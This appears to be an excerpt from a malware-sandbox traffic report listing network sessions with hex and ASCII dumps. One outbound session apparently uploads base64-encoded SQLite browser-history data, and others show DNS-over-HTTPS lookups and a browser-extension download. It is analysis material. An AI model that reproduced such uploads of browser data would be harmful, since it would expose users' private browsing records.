AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 4d 54 43 6c 51 42 41 59 58 4b 79 73 42 57 58 52 68 59 6d 78 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 42 55 4e 53 52 55 46 55 52 53 42 55 51 55 4a 4d 52 53 42 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 6f 62 6d 46 74 5a 53 78 7a 5a 58 45 70 67 58 38 44 42 78 63 56 46 51 47 44 59 58 52 68 59 6d 78 6c 64 58 4a 73 63 33 56 79 62 48 4d 45 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 56 79 62 48 4d 6f 61 57 51 67 53 55 35 55 52 55 64 46 55 69 42 51 55 6b 6c 4e 51 56 4a 5a 49 45 74 46 57 53 42 42 56 56 52 50 53 55 35 44 55 6b 56 4e 52 55 35 55 4c 48 56 79 62 43 42 4d 54 30 35 48 56 6b 46 53 51 30 68 42 55 69 78 30 61 58 52 73 5a 53 42 4d 54 30 35 48 56 6b Data Ascii: MTClQBAYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBUNSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpgX8DBxcVFQGDYXRhYmxldXJsc3VybHMEQ1JFQVRFIFRBQkxFIHVybHMoaWQgSU5URUdFUiBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5ULHVybCBMT05HVkFSQ0hBUix0aXRsZSBMT05HVk
2024-12-02 00:34:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	49812	172.64.41.3	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-02 00:34:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-02 00:34:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 02 Dec 2024 00:34:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8eb73b790924435c-EWR alt-svc: h3=":443"; ma=86400
2024-12-02 00:34:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0d 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	49811	172.64.41.3	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-02 00:34:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-02 00:34:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 02 Dec 2024 00:34:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8eb73b790c0942a5-EWR alt-svc: h3=":443"; ma=86400
2024-12-02 00:34:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 dc 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	49810	162.159.61.3	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-02 00:34:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-02 00:34:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 02 Dec 2024 00:34:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8eb73b795f668c99-EWR alt-svc: h3=":443"; ma=86400
2024-12-02 00:34:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0b 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49805	142.250.181.65	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:38 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5dnZvKmaAb8JvuCPE80w62GG3l3vCIvZMkx_tHRFrReEEF_aYMAiHSC-ifLwK5kx_MdHslJq3zlQ X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sun, 01 Dec 2024 16:45:00 GMT Expires: Mon, 01 Dec 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 28178 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-02 00:34:38 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-02 00:34:38 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-12-02 00:34:38 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-12-02 00:34:38 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-12-02 00:34:38 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-12-02 00:34:38 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-12-02 00:34:38 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-12-02 00:34:38 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-12-02 00:34:38 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: 